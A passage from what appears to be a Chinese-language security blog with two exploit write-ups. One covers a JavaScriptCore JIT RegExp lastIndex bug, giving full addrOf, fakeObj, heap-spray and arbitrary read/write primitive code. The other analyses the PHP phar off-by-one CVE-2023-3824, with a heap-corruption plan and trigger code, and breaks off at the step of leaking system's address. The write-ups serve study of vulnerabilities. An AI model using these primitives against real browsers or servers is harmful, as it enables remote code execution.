  2. 第19行将reg.lastIndex设置为了一个object, 这个object的toString方法里面会将victim_array[0]置为一个empty object.

  3. 第20行触发了之前生成的JIT代码:

    1. 调用match时, 会读取lastIndex, 发现它不是一个整数, 那么需要将其转换成整数, 所以触发了toString, 使得victim_array[0]被置为了一个object.
    2. 随后在写入 val时并没有进行type checking.

0x02 详细的漏洞原因

前面提到了大致原因, 就是DFGJIT compiler没有意识到在访问lastIndex会产生side-effects. 运行jsc时附带上环境变量JSC_dumpSourceAtDFGTime=trueJSC_reportDFGCompileTimes=true, 可以显示DFGJIT优化作用在哪些source code上. 值得注意是match方法是由Javascript代码写的, 这意味jsc中的内置函数可能有多种implementation方式, 以后在查阅指定函数时, 可以关注一下.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// builtins/StringPrototype.js
// '...' = code we are not interested in.
function match(regex)
{
"use strict";

if (this == null)
@throwTypeError(...);

if (regex != null) {
var matcher = regexp.@matchSymbol; // 除了'abc'.match(regex), 我们还可以写regex[Symbol.match]('abc').
if (matcher != @undefined)
return matcher.@call(regexp, this);
}
...
}

跟进第13行,

1
2
3
4
5
6
7
8
9
10
// builtins/RegExpPrototype.js
@overriddenName="[Symbol.match]"
function match(strArg)
{
...

if (!@hasObservableSideEffectsForRegExpMatch(this))
return @regExpMatchFast.@call(this, str);
return @matchSlow(this, str);
}

其中hasObservableSideEffectsForRegExpMatch函数会判定此次match方法调用过程中是否会产生side-effects. 如果没有产生side-effects, 则进行regExpMatchFast调用. 参考前面的patch, hasObservableSideEffectsForRegExpMatch并没有考虑到lastIndex的存在. 所以这里会顺利的进行regExpMatchFast调用, 而在DFGJIT认为它并不会clobber the World (side-effects alias?) .

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h
switch (node->op()) {
...
case RegExpTest:
// Even if we've proven know input types as RegExpObject and String,
// accessing lastIndex is effectful if it's a global regexp.
clobberWorld();
setNoneCellTypeForNode(node, SpecBoolean);
break;
case RegExpMatchFast:
ASSERT(node->child2().useKind() == RegExpObjectUse);
ASSERT(node->child3().useKind() == StringUse || node->child3().useKind() == KnownStringUse);
setTypeForNode(node, SpecOther | SpecArray);
break;
...
}

值得注意是RegExpTest中的comment已经提及了lastIndex可以会被改变, 有趣是RegExpMatchFast 中为何不考虑呢?

0x03 大致的利用路线

大致路线为:

  1. 构造addressOf原语
  2. 构造fakeObj原语
  3. 构造更加稳定的addressOffakeObj原语
  4. 构造任意地址read64write64原语

0x04 addressOf 原语

原语如下, 传入的obj为一个需要泄露地址的目标object. 来自[1]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function addrOf(obj) {
var victim_array = [1.1];
var reg = /abc/y;

var funcToJIT = function(array){
'abc'.match(reg);
return array[0];
}

for(var i=0; i< 10000; i++){
funcToJIT(victim_array);
}

regexLastIndex = {};
regexLastIndex.toString = function(){
victim_array[0] = obj;
return "0";
};
reg.lastIndex = regexLastIndex;

return funcToJIT(victim_array)
}

注意此时函数funcToJit中的不再是PutByVal, 而是GetByVal. 当JIT compiler认为victim_array在运行过程中没有改变(总是ArrayWithDouble)之后, 它会直接读取它的第1个元素, 把它作为一个Double返回而不进行type checking.

这里有一个小问题, 一个Pointer对应value显然不是一个合法的Double, 那么函数addrof是如何将Pointer作为Double返回的 ? 这个问题非常有趣, 经过一段时间debug, 我发现了Double在内存中的表示是不一样的.

  • 当一个object被标记为ArrayWithDouble, 意味着它的所有元素都是Double. 这个时候所有的Double会以原double-floating point存储, 而不会加上2^48的offset.
  • 当一个object被标记为ArrayWithContiguous, 意味着它包含的元素类型是多样的. 这个时候所有的元素都会严格按照JSValue的规定来存储.

我是如何发现这个问题呢? 我用--dumpDFGDisassembly打印了经过DFGJIT优化过的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
438:<!3:loc14>	GetByVal(KnownCell:@629, Int32:@437, Check:Untyped:@621, Double|MustGen|VarArgs|UseAsOther, AnyIntAsDouble|NonIntAsdouble, Double+OriginalCopyOnWriteArray+InBounds+AsIs+Read, R:Butterfly_publicLength,IndexedDoubleProperties, Exits, bc#39, ExitValid)  predicting NonIntAsdouble
0x7f8a6d304d61: mov $0x7f8a6d113140, %r11
0x7f8a6d304d6b: mov (%r11), %r11
0x7f8a6d304d6e: test %r11, %r11
0x7f8a6d304d71: jz 0x7f8a6d304d7e
0x7f8a6d304d77: mov $0x113, %r11d
0x7f8a6d304d7d: int3
0x7f8a6d304d7e: xor %edx, %edx
0x7f8a6d304d80: cmp -0x8(%rax), %edx
0x7f8a6d304d83: jae 0x7f8a6d305082
0x7f8a6d304d89: movsd (%rax,%rdx,8), %xmm0
0x7f8a6d304d8e: ucomisd %xmm0, %xmm0
0x7f8a6d304d92: jp 0x7f8a6d3050a9

626:< 1:loc13> ValueRep(DoubleRep:@438<Double>, JS|PureInt, BytecodeDouble, bc#39, exit: bc#44, ExitValid)
0x7f8a6d304d98: movq %xmm0, %rax
0x7f8a6d304d9d: sub %r14, %rax
0x7f8a6d304da0: cmp %r14, %rax
0x7f8a6d304da3: jae 0x7f8a6d304db2
0x7f8a6d304da9: test %rax, %r14
0x7f8a6d304dac: jnz 0x7f8a6d304db9
0x7f8a6d304db2: mov $0x3c, %r11d
0x7f8a6d304db8: int3

可以看到GetByVal只进行了array index的检查 ($rax 为butterfly的地址), 然后就把值取出来了 (放在$rax上). 而后有一个ValueRep操作, 看一下对应的codegen代码(Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp), 它配合DoubleRep 会将指定的值boxxing成一个合法的Double. 看到这里我们才意识到double-floating point可能就是以原值存储的. 对此, JSC (Source/JavaScriptCore/bytecode/DataFormat.h)解释为

Values may be unboxed primitives (int32, double, or cell), or boxed as a JSValue. For boxed values, we may know the type of boxing that has taken place. (May also need bool, array, object, string types!)

总之就是一句话Storing our value as a JSValue is necessary. 可以尽可能地优化掉encode/decode带来的performance. 在这里作为函数返回值, Caller可能不能准确地预知它的类型, 那么统一将其视为JSValue, 所以这里需要一个boxDouble过程. 使得即使这里是一个Pointer, JSC依然认为其就是一个double-floating point.

0x05 fakeObj原语

原语如下, 来自[1] . 传入的addr为一个double, 作为fake object的地址.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function fakeObj(addr){
var victim_array = [1.1];
var reg = /abc/y;

var funcToJIT = function(array){
'abc'.match(reg);
array[0] = addr;
}

for(var i=0; i < 10000; i++){
funcToJIT(victim_array);
}

regexLastIndex = {};
regexLastIndex.toString = function(){
victim_array[0] = {};
return "0";
}
reg.lastIndex = regexLastIndex;
funcToJIT(victim_array);

return victim_array[0];
}

与Simple POC比较相似. 想要fakeObj make sense, 我们需要传入一个正确的addr. 换句话, 这个addr对应的memory layout必须长的像一个JSObject才行. 比如v = {a : 1, b : 2},

1
2
3
4
5
6
>>> describe(v)   
Object: 0x7f5998db0080 with butterfly (nil) (Structure 0x7f5998d70380:[Object, {a:0, b:1}, NonArray, Proto:0x7f5998db4000, Leaf]), StructureID: 295

pwndbg> x/4gx 0x7f5998db0080
0x7f5998db0080: 0x0100160000000127 0x0000000000000000 jscell | butterfly_pointer
0x7f5998db0090: 0xffff000000000001 0xffff000000000002 a : 1 | b : 2

这里提出两个小问题:

  1. 在哪里伪造fake object ?
  2. 伪造fake object时需要注意什么 ?

首先我们来回答第一个问题, 最简单的方法就是利用inline property storage. 比如我可以通过v.a = int2f(0x0100160000000127 - 2^48) (注意Double编码) 来构造如下memory layout:

1
2
3
pwndbg> x/4gx 0x7f5998db0080
0x7f5998db0080: 0x0100160000000127 0x0000000000000000 jscell | butterfly_pointer
0x7f5998db0090: 0x0100160000000127 0xffff000000000002 a : dd | b : 2 <---- fake_object

按道理, 你在butterfly上构造也是可以的. 简而言之你可以通过设置property或者elements来布置memory layout.

再来回答第二个问题. 伪造一个"能用的" object需要具备以下几个条件:

  1. JSCell header需要设置正确, 其中比较关键是structureId, 其余的修饰字段, 可以申请一个合适的object然后复制粘贴. 一个object的structure决定我们可以如何操作这个object.
  2. 如果需要设置butterfly pointer, 首先它是一个Pointer; 如果不需要设置butterfly pointer, 那么需要将其置为NULL.

这里面问题就是, 如果需要布置的data不是一个valid double, 我们应当如何操作呢? 比如写bufferfly pointer这里, 或者JSCell对应不是像上面一样是一个valid double. 答案是我们可以通过某种indirect write的方式实现. 关于写NULL是有一个小trick的, 我们可以delete(v.b)来实现.

0x06 Arbitrary Read and Write 原语

0x06.1 基本构造思路

思想来自于[2], 其包含的大致路线就是:

  1. 构造一个fake_object
  2. 通过fake_object控制victim_object的butterfly.
  3. 读写victim_object的property实现任意地址的读写.

其实这个构造过程有点绕, 需要花一点点图来帮助理解.

前面提到, 我们如果需要设置butterfly, 就需要写入一个合法的 Pointer. 考虑我们将fake_object的butterfly设置成一个object的地址会发生什么? 参考下述图1:

indirect write 1

这里我们做了这样几件事:

  1. 申请一个正常的victim_jsobject.
  2. 构造了一个user_jsobject (无butterfly), 在它的inline property storage上构造了一个fake_jsobject.
  3. 使得fake_jsobject的butterfly pointer为victim_jsobject.

当有这样一个结构之后, 我们可以尝试进行以下操作:

  1. 操作fake_jsobject的属性或者元素, 来修改victim_jsobject的victim_butterfly_pointer.
  2. 将victim_butterfly_pointer置为我们想要读写的目标内存地址.
  3. 操作victim_jsobject的属性或者元素, 来修改目标内存上的内容.

这就是我们的思路, 接下来就是填补里面的细节.

0x06.2 确定fake_jsobject和victim_jsobject

影响我们构造fake_jsobject的两个因素:

  1. victim_jsobject被视为一个butterfly.
  2. vitcim_butter_pointer位于addr_of_victim_jsobject + 0x8的位置.

那么我们最好的做法是通过fake_obj[1] = target_victim_butterfly_pointer. 那么需要满足这样几个条件:

  1. fake_jsobject包含一个array, i.e., fake_obj = [1.1,2.2].
  2. fake_structure_id要对应包含上述array的structure.
  3. fake_butterfly_pointer需要正好指向victim_jsobject.

满足这些条件的方法就是heap spraying. 参考来自[2]的heap spraying代码片段:

1
2
3
4
5
6
7
var obj_arr = [];
for (var i = 0; i < 1000; i++) {
var obj = [13.37];
obj.a = 0.25;
obj['p'+i] = 0.5;
obj_arr.push(obj)
}

每一个obj:

  • 包含array, 用来构造fake_jsobject需要的structure.
  • 一个固定属性, 用于操作victim_jsobject, 后面细说.
  • 一个随机属性, 用于产生大量不同的structure, 进而占据大量structure ids.

我们将其中一个obj也作为victim_jsobject.

假设上述任意一个obj对应的JSObject如下:

1
2
3
4
5
>>> describe(obj_arr[0])       
Object: 0x7eff2edb4360 with butterfly 0x7ee0000e4088 (Structure 0x7eff2ed70380:[Array, {a:100, p0:101}, ArrayWithDouble, Proto:0x7eff2edc80a0, Leaf]), StructureID: 295

pwndbg> x/4gx 0x7eff2edb4360
0x7eff2edb4360: 0x0108210700000127 0x00007ee0000e4088 js_cell | butterfly pointer

构造fake_jsobject过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
var convert = new ArrayBuffer(0x10);
var u32 = new Uint32Array(convert);
var u8 = new Uint8Array(convert);
var f64 = new Float64Array(convert);
var BASE = 0x100000000;

function f2i(f) {
f64[0] = f;
return u32[0] + BASE*u32[1];
}

function i2f(i) {
u32[0] = i%BASE;
u32[1] = i/BASE;
return f64[0];
}

u32[0] = 0x200; // 512
u32[1] = 0x01082109 - 0x10000; // 考虑boxed double
var arrayWithContiguous= f64[0];

u32[1] = 0x01082107 - 0x10000; // 考虑boxed double
var arrayWithDouble= f64[0];

var victim_obj = obj_arr[500];

var user_obj = {
js_cell_header : arrayWithContiguous,
butterfly_pointer: victim_obj
};

var fake_obj = fakeObj(i2f(f2i(addrOf(user_obj)) + 0x10))

这里有几个问题:

  1. 这个f2i准不准? 因为javascript里面是没有int64的, 而double的有效位是53. 但是对于这里我们指针操作而言, 已经足够了, 因为指针的有效位是48.

  2. fake_objobj的description不是一致的(ArrayWithDouble), 而是ArrayWithContiguous. 因为后面在我们会在fake_obj写入其他类型的值, 如果是ArrayWithDouble, 会导致一个conversion, 这个conversion会出问题. 因为fake_obj的butterfly (即victim_obj) 并不是一个ArrayWithDouble. 在[1]中构造中, fake_obj的description使用了ArrayWithDouble, 其实是有问题的.

    • static const IndexingType ContiguousShape = 0x08;
    • static const IndexingType DoubleShape = 0x06;
  3. fake_obj有没有可能构造失败? 显然是有的, 因为fake_structure_id有可能选择失败. 那么有没有更safe的方法呢? 可以去看[3], Linus采用的方法是

    • 找一个native structure来利用, 比如WebAssembly.Memory, 使得我们这里的obj = new WebAssembly.Memory({inital: 0});
    • 设定一个起始fake_structure_id给fake_obj, 然后通过fake_obj instanceof WebAssembly.Memory来确定fake_obj是否构造成功.
    • 如果不是WebAssembly.Memory , 则让fake_structure_id加1, 继续检查.

    这个过程中Linus还有一些优化操作, 具体的可以查看[4].

我们可以来验证一下构造的fake_obj.

1
2
3
4
5
6
7
>>> describe(fake_obj)
Object: 0x7fbb6b9c83b0 with butterfly 0x7fbb6b9b62d0 (Structure 0x7fbb6b94a3e0:[Array, {a:100, p189:101}, ArrayWithDouble, Proto:0x7fbb6b9c80a0, Leaf]), StructureID: 512
>>> describe(victim_object)
Object: 0x7fbb6b9b62d0 with butterfly 0x7fa8000c5f48 (Structure 0x7fbb6b936ed0:[Array, {a:100, p500:101}, ArrayWithDouble, Proto:0x7fbb6b9c80a0, Leaf]), StructureID: 823

pwndbg> x/4gx 0x7fbb6b9c83b0
0x7fbb6b9c83b0: 0x0108210700000200 0x00007fbb6b9b62d0

可以看见fake_objvictim_obj都具有我们预期的structure, 并且fake_obj的butterfly pointer指向victim_obj.

0x06.3 构造read64和write64

接下来我们构造任意地址上的read64和write64. 首先我们看一下victim_object的butterfly布局

1
2
3
4
5
6
pwndbg> x/4gx 0x7fa8000c5f30 
0x7fa8000c5f30: 0x3fe1000000000000 0x3fd1000000000000 p500 | a
0x7fa8000c5f40: 0x0000000100000001 0x402abd70a3d70a3d len | 13.37
|
|
victim_butterfly_pointer

当我们访问victim_object.a时, 实际访问是地址victim_butterfly_pointer - 0x10处的值. 这意味着我们如果想要访问target_mem, 那么我们应该将victim_butterfly_pointer设置为target_mem + 0x10.

现在我们假设victim_butterfly_pointer根据target_mem设置正确了, 这里还有几个值得商榷的细节,

  1. 如果victim_object.a的值不是Double, 比如是一个Pointer, 我们如何读呢? 即我们如何将任意的值都转换成Double读出来.
  2. 反过来, 如果要写入值是一个地址, 如何让victim_object.a拥有一个Pointer呢? 即我们如何将任意的值都转换成Double写入.

我们依然参考[2]中的利用, 接下来过程可以称的上非常精彩.

1
2
3
4
5
6
7
8
9
10
var unboxed = [13.37];
unboxed[0] = 4.2; // #防止unboxed成为CopyOnWriteArrayWithDouble, 赋值一次可确保ArrayWithDouble (来自[1])
var boxed = [{}];

fake_obj[1] = unboxed;
var shared_butterfly = f2i(victim_obj[1])
fake_obj[1] = boxed;
victim_obj[1] = i2f(shared_butterfly);

user_obj.js_cell_header = arrayWithDouble //

来一步步的解释下这里在干什么:

  1. 首先我们构造了unboxedboxed, 它分别是一个ArrayWithDoubleArrayWithContiguous. 前面我提到过ArrayWithDouble里面存储的都是unboxed value, 而ArrayWithContiguous里面存储的是boxed value, 即正常的JSValue.

  2. 执行fake_obj[1] = unboxed使得victim_obj的butterfly pointer指向了unboxed.

  3. 此时victim_obj[1]实际就是unboxed的butterfly pointer, 而victim_obj是一个ArrayWithDouble, 所以shared_butterfly就是unboxed的butterfly地址.

    1
    2
    3
    4
    5
    6
    >>> print(shared_butterfly)
    140050293817352
    pwndbg> p/x 140050293817352
    $7 = 0x7f6000038008
    >>> describe(unboxed)
    Object: 0x7f7be0bcc060 with butterfly 0x7f6000038008
  4. 同理, 再执行fake_obj[1] = boxed使得victim_obj的butterfly pointer指向了boxed.

  5. 此时victim_obj[1]实际就是boxed的butterfly pointer, 之后使得boxed的butterfly pointer指向了unboxed的butterfly.

    1
    2
    3
    4
    >>> describe(unboxed)        
    Object: 0x7f7be0bcc060 with butterfly 0x7f6000038008 (Structure 0x7f7be1bf2a70:[Array, {}, ArrayWithDouble, Proto:0x7f7be1bc80a0]), StructureID: 98
    >>> describe(boxed)
    Object: 0x7f7be0bcc070 with butterfly 0x7f6000038008 (Structure 0x7f7be1bf2ae0:[Array, {}, ArrayWithContiguous, Proto:0x7f7be1bc80a0]), StructureID: 99
  6. 最后我们将fake_obj的description恢复成ArrayWithDouble, 使得我们将地址当做double的时候, 以原值存储.

用图表示就是

Hax

这样使得unboxedboxed拥有了相同的butterfly, 也就意味着, 一个数据可以按照unboxed value或者boxed value来进行处理. 这样使得我们有了更加稳定的addrOffakeObj原语, 这一步构造我觉得非常精妙.

1
2
3
4
5
6
7
8
9
10
var stage2 = {
addrof : function (obj){
boxed[0] = obj;
return f2i(unboxed[0]);
},
fakeobj : function (addr){
unboxed[0] = i2f(addr);
return boxed[0];
},
};

另外addrOf原语不仅可以读Object的地址 (或者说Pointer), 其他类型的值都是可以读的, 其值都是double形式返回. 那么我们的read64即为

1
2
3
4
stage2.read64 = function(where) {
fake_obj[1] = i2f(where + 0x10);
return this.addrof(victim_obj.a);
}

对于write64如下

1
2
3
4
stage2.write = function(where, what) {
fake_obj[1] = i2f(where + 0x10);
victim_obj.a = this.fakeobj(what);
},

注意现在fakeObj实际是可以封装任意的值, 将其封装为一个JSValue, 最后由以原值写入目标内存.

0x07 代码执行

常规手段, 找到RWX段, 写shellcode.

0x08 小问题

ubuntu20.04编译jsc出现的依赖问题

编译过程如下:

1
2
Tools/gtk/install-dependencies
Tools/Scripts/build-webkit --jsc-only --debug

遇到了libsrtp0-dev is not available, 可以替换成libsrtp2-dev.

引用

  1. JavaScript engine exploit(二),https://www.anquanke.com/post/id/183805
  2. NiklasB Exploit, https://github.com/niklasb/sploits/blob/master/safari/regexp-uxss.html
  3. Linus Exploit, https://github.com/LinusHenze/WebKit-RegEx-Exploit/blob/master/pwn.js
  4. Preparing for Stage 2 of a WebKit Exploit, https://liveoverflow.com/preparing-for-stage-2-of-a-webkit-exploit/
  5. The Apple Bug That Fell Near The WebKit Tree, https://www.zerodayinitiative.com/blog/2019/3/14/the-apple-bug-that-fell-near-the-webkit-tree

CVE-2023-3824: 幸运的Off-by-one (two?)

故事经过

前天看见了一个新闻[1], 英国国家打击犯罪局(NCA)、美国联邦调查局(FBI)、欧洲刑警组织等执法部门宣称联合捣毁了世界上最大的网络犯罪集团LockBit. 这里面提到了这些执法机构利用了一个PHP漏洞 (CVE-2023-3824) , 这引起了我的兴趣. 为啥执法机构会暴露这些细节呢? 查了一下, 原来是该犯罪团伙负责人自己说的, 他也只怪自己没有及时地更新PHP :( .

简略分析

简单搜索了一下, 没有找到关于它的利用方式, 那只能咱亲自冻手了. 首先发现PHP官方Repo已经收录了这个安全问题[2], PHP官方对此评价为"Exploiting this is difficult to do".

其问题出现在函数phar_dir_read at ext/phar/dirstream.c. 关于这个函数写的怎么样, 咱只能说一言难尽.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static ssize_t phar_dir_read(php_stream *stream, char *buf, size_t count) /* {{{ */
{
size_t to_read;
HashTable *data = (HashTable *)stream->abstract;
zend_string *str_key;
zend_ulong unused;

if (HASH_KEY_NON_EXISTENT == zend_hash_get_current_key(data, &str_key, &unused)) {
return 0;
}

zend_hash_move_forward(data);
to_read = MIN(ZSTR_LEN(str_key), count);

if (to_read == 0 || count < ZSTR_LEN(str_key)) {
return 0;
}

memset(buf, 0, sizeof(php_stream_dirent));
memcpy(((php_stream_dirent *) buf)->d_name, ZSTR_VAL(str_key), to_read);
((php_stream_dirent *) buf)->d_name[to_read + 1] = '\0';

return sizeof(php_stream_dirent);
}

这个函数用于phar://协议下读取文件夹中的内容. 这段代码出现的一些问题:

  1. 后面的memset已经假设了buf的大小是sizeof(php_stream_dirent). 因此函数开头理因有一个关于它的检查, 却没有看见. 然而这个问题在这里其实不大, 因为在PHP中所有引用这个函数的地方, 传入的countsizeof(php_stream_dirent) 都是保持一致的. 当然这样的做法依然是不对的, 因为需要考虑PHP第三方库对其的使用规范.
  2. 注意这里我们只考虑Linux的下利用情况, 全篇亦是如此. 在Linux下sizeof(php_stream_dirent)4096. 当文件夹中存在一个文件名长度为4096的文件时, 在第13行这里即有to_read == 4096, 从而第14行这里的判断顺利通过了 (i.e., count == ZSTR_LEN(str_key) == 4096). 考虑第21行这里的结尾NULL字符写入, 我们知道传入的buffer大小为4096, 再往后写就肯定overflow了. 有趣是它写NULL的位置也错了, 应该在d_name[to_read]NULL, 而不是to_read + 1. 这样就给我们带来在buf + 4097处写零的机会.

经典的Off-by-one (two?), 这让我想到了著名的CVE-2019-11043[4], 值得一试.

找利用点

根据buf所处的位置, 可以营造stack overflow和heap overflow, 进而有两种不同的利用方式. 根据常识利用Off-by-one关键是memory layout. 简要搜索一下, 有几个地方可以操作上述函数:

  1. buf在stack上:
    1. openddir + readdir
    2. scandir
    3. libmagic 中的 apprentice_load
  2. buf在heap上:
    1. FilesystemIterator
    2. DirectoryIterator
    3. SplFileInfo
    4. SplFileObject

因为绕不过canary并且不太好利用, 所以直接将stack overflow排除了, 只剩下了heap overflow.

Heap overflow

上述4个类都是PHP标准库中操作文件夹的相关设施, 位于ext/spl/spl_directory.c. 它们底层都涉及一个比较关键的结构_spl_filesystem_object如下, 我略去了该结构中不太重要的字段.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct _spl_filesystem_object {
// ...
union {
struct {
php_stream *dirp;
php_stream_dirent entry; // overflow here
char *sub_path;
size_t sub_path_len;
// ...
} dir;
// ...
} u;
// ...
};

其中_spl_filesystem_object.u.dir.entry就是上述4个类在操作文件夹时buf所处的位置. 可以看到其后面紧跟着一个sub_path字段, 配合sub_path_len, 不难看出这里是一个binary-safe string结构. 试想如果利用overflow把sub_path某个字节覆写掉, 肯定可以带来一些新的契机. 这也是文章标题称之为《幸运的Off-by-one》.

Spl_filesystem_object is the key

这里我们首先需要知道一些关于spl_filesystem_object.u.dir.entryspl_filesystem_object.u.dir.sub_path的操作.

更新 u.dir.entry : 由这个函数可以触发overflow. 通过检查引用这个函数的地方, 看起来我们只需要拨动相关的Iterator即可触发这个函数.

1
2
3
4
5
6
7
8
9
10
// ext/spl/spl_directory.c: 236
static int spl_filesystem_dir_read(spl_filesystem_object *intern) /* {{{ */
{
if (!intern->u.dir.dirp || !php_stream_readdir(intern->u.dir.dirp, &intern->u.dir.entry)) {
intern->u.dir.entry.d_name[0] = '\0';
return 0;
} else {
return 1;
}
}

读取 u.dir.sub_path : 通过调用RecursiveDirectoryIterator->getSubPath即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// ext/spl/spl_directory.c: 1530
PHP_METHOD(RecursiveDirectoryIterator, getSubPath)
{
spl_filesystem_object *intern = Z_SPLFILESYSTEM_P(ZEND_THIS);

if (zend_parse_parameters_none() == FAILURE) {
RETURN_THROWS();
}

if (intern->u.dir.sub_path) {
RETURN_STRINGL(intern->u.dir.sub_path, intern->u.dir.sub_path_len);
} else {
RETURN_EMPTY_STRING();
}
}

写入 u.dir.sub_path : 通过调用RecursiveDirectoryIterator->getChildren即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// ext/spl/spl_directory.c: 1494
PHP_METHOD(RecursiveDirectoryIterator, getChildren)
{
// ...
if (subdir) {
// 如果current directory也存在sub_path, 那么children的sub_path应为 parent_sub_path + parent_directory_name
if (intern->u.dir.sub_path && intern->u.dir.sub_path[0]) {
subdir->u.dir.sub_path_len = spprintf(&subdir->u.dir.sub_path, 0, "%s%c%s", intern->u.dir.sub_path, slash, intern->u.dir.entry.d_name);
} else {
// 反之, 此时children的sub_path应为parent_directory_name
subdir->u.dir.sub_path_len = strlen(intern->u.dir.entry.d_name);
subdir->u.dir.sub_path = estrndup(intern->u.dir.entry.d_name, subdir->u.dir.sub_path_len);
}
subdir->info_class = intern->info_class;
subdir->file_class = intern->file_class;
subdir->oth = intern->oth;
}
}

释放 u.dir.sub_path: 通过调用unset($obj)即可.

1
2
3
4
5
6
7
8
9
10
11
// 
static void spl_filesystem_object_free_storage(zend_object *object) /* {{{ */
{
// ...
case SPL_FS_DIR:
if (intern->u.dir.sub_path) {
efree(intern->u.dir.sub_path);
}
break;
// ...
}

conditional read 和 conditional write 原语

这里我们没有任意读/写两个原语, 只有有条件的读/写.

conditional read

  1. 在heap上放置大量需要需要读取的内存结构, 比如zend_closure. 让其中一些刚好落在拥有形如00xx前缀的地址上.
  2. 正常初始化sub_path, 控制好其大小, 落在可控内存结构的附近.
  3. 然后触发overflow, 将sub_path的第2个字节写NULL.
  4. 调用RecursiveDirectoryIterator0->getSubPath, 读取相关结构.

conditional write (UAF)

  1. 在heap上放置大量的可控的内存结构, 比如zend_string. 让其中一些刚好落在拥有形如00xx前缀的地址上.
  2. 正常初始化sub_path, 控制好其大小, 落在可控内存结构的附近.
  3. 然后触发overflow, 将sub_path的第2个字节写NULL, 此时sub_path指向我们可控的内存结构.
  4. 构造UAF: 释放掉对应的iterator (unset($obj)).
  5. 在刚释放的内存上创建所需结构, 利用第一步中可控结构读写它.

增强 conditional read 和 conditional write 原语.

举个例子, 在conditional read中, 如果sub_path指向形如0xdeadbeef的地址, 那么我们只能读0xdead00ef处的内容. 意味着需要读取的内存结构需要落在它的附近. 这里有两个难点:

  1. 如何让需要被写入或者被读入的内存结构落在拥有形如00xx前缀的地址上?

  2. 如何使得被改写的sub_path刚好指向拥有00xx前缀的地址上 ?

在处理这两个问题之前, 我们需要熟悉一下PHP的内存管理.

  1. PHP采用了memory slots的手法, 即针对小内存 (8 - 3072 bytes), 它会在连续的页上按大小划分slots (bins). 举个例子, 对于8 bytes内存, PHP会拿出1个page (4096 bytes) 出来, 将其划分为512个bins供给小于或者等于8 bytes的内存申请. 而对于320 bytes内存, PHP会拿出5个pages出来, 再上面划分64个bins供给 256< x <=320的内存申请. 小内存的回收采用是经典地free_lists.
  2. PHP使用memory chunk (跟arena是有些相似的)来作为小内存的操作对象. 一个memory chunk默认大小为2M (0x200000), PHP在其上根据需求来划分不用小内存区域. 当一个memory chunk使用完了之后, PHP会申请新的chunk. 然后用链表将这些chunks连接起来.

增强 conditional read

对于第一个问题, 我们可以在heap上放置大量连续的相关内存结构, 这依赖于PHP独特的内存管理. 例如在conditional read中, 我们需要读取zend_closure中的closure_handlders值, 其中sizeof(zend_closure) == 320. 如果我们考虑用它将一个memory chunk填满, 可以利用的相关地址前置有.

1
2
3
4
5
6
7
8
9
10
11
<?php
$a = 320;
for (;$a < 0x200000; $a += 320) {
if ((($a >> 8) & 0xff) == 0) {
echo dechex($a)."\n";
}
}

/*
10040,20080,300c0,50000,60040,70080,800c0,a0000,b0040,c0080,d00c0,f0000,100040,110080,1200c0,140000,150040,160080,1700c0,190000,1a0040,1b0080,1c00c0,1e0000,1f0040
*/

如果0x10040可控, 那么0x100400x20080之间就有51个bins可以用.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$a = 0x10040;
$i = 0;
while ($a < 0x20080) {
$a += 320;
if (($a & 0xff) == 0x40) {
echo dechex($a)."\n";
$i++;
}
$j++;
}

echo $i . "\n";
echo $j . "\n";

换言之只要让sub_path指向到这51中的其中一个就可以了. 其中0x100400x20080之间有205这样的bins (size-320-bin), 这样我们有1/4的概率让sub_path指向正确的地方. 再换言之, 我们平均只需要尝试4次, 就可以做到, 事实也是如此. 这也是解决第二问题的方法.

所以比较在意是拿到形如10040, 20080, 300c0... 这其中的一个. 比较好的想法是我们在新的chunk上进行操作, 这样可以避免之前memory layout对我们的影响并且大概率覆盖上述地址. 为了使用新的chunk, 我们可以地连续申请超过一个chunk的相关内存结构. 比如这里我们需要申请超过0x1999zend_closure, 在利用中我使用了0x2024 (毕竟今年是2024 嘿嘿).

增强 conditional write

对于第一个问题, 我们同样在heap上放置大量我们可控的内存结构. 而对于第二个问题, 我们同样进行多次尝试. 这里有一个特别的是, 第二个问题解决方案中的多次尝试是确定性的. 因为heap上的内存结构我们可控, 使得我们可以在指定的位置上放置特定的内容来帮助我们判定sub_path有没有指向正确的位置. 比如我们希望sub_path正好落在地址0x10040上, 其中0x10040是我们可控的. 我们可以在0x10040处写入指定的字符串, 在进行UAF之前, 我们通过读取sub_path的内容, 来确保sub_path是指向正确的.

利用细节

大致路线:

  1. 通过conditional read泄露system函数地址.
  2. 通过conditional write将用户闭包函数修改为native函数system

构造恶意的phar

其中phar文件结构如下, 命名为m2.phar.

1
2
3
├── CCCCCCC...CCC├
├── AAAA...AAA
├── BBBBBB...BBBBB
  • CCCCCCC...CCC文件夹长度为329 , 因为zend_closure是我们后面需要的重要结构, 它的大小为320. 考虑结尾的NULL字符.
  • AAAA...AAA 正常文件和文件名. RecursiveDirectoryIterator->__construct会读取第一个文件作为预备, 我不希望在这一步发生overflow.
  • BBBBBB...BBBBB文件名长度为4096

触发overflow

我们通过以下代码来触发overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$it = new RecursiveDirectoryIterator("phar://./m2.phar");

// 定位到`CCCCCCC...CCC`文件夹
foreach ($it as $file) {
if($file->isDir()) {
break;
}
}

// 创建关于`CCCCCCC...CCC`的RecursiveDirectoryIterator, 其sub_path被初始化为`CCCCCCC...CCC`, 长度为320.
$sub_it = $it->getChildren();

// 读取`CCCCCCC...CCC`中文件, 读取到`BBBBBB...BBBBB`时, 触发overflow, 将sub_path第2个字节写NULL.
foreach($sub_it as $file) {}

泄露system函数地址

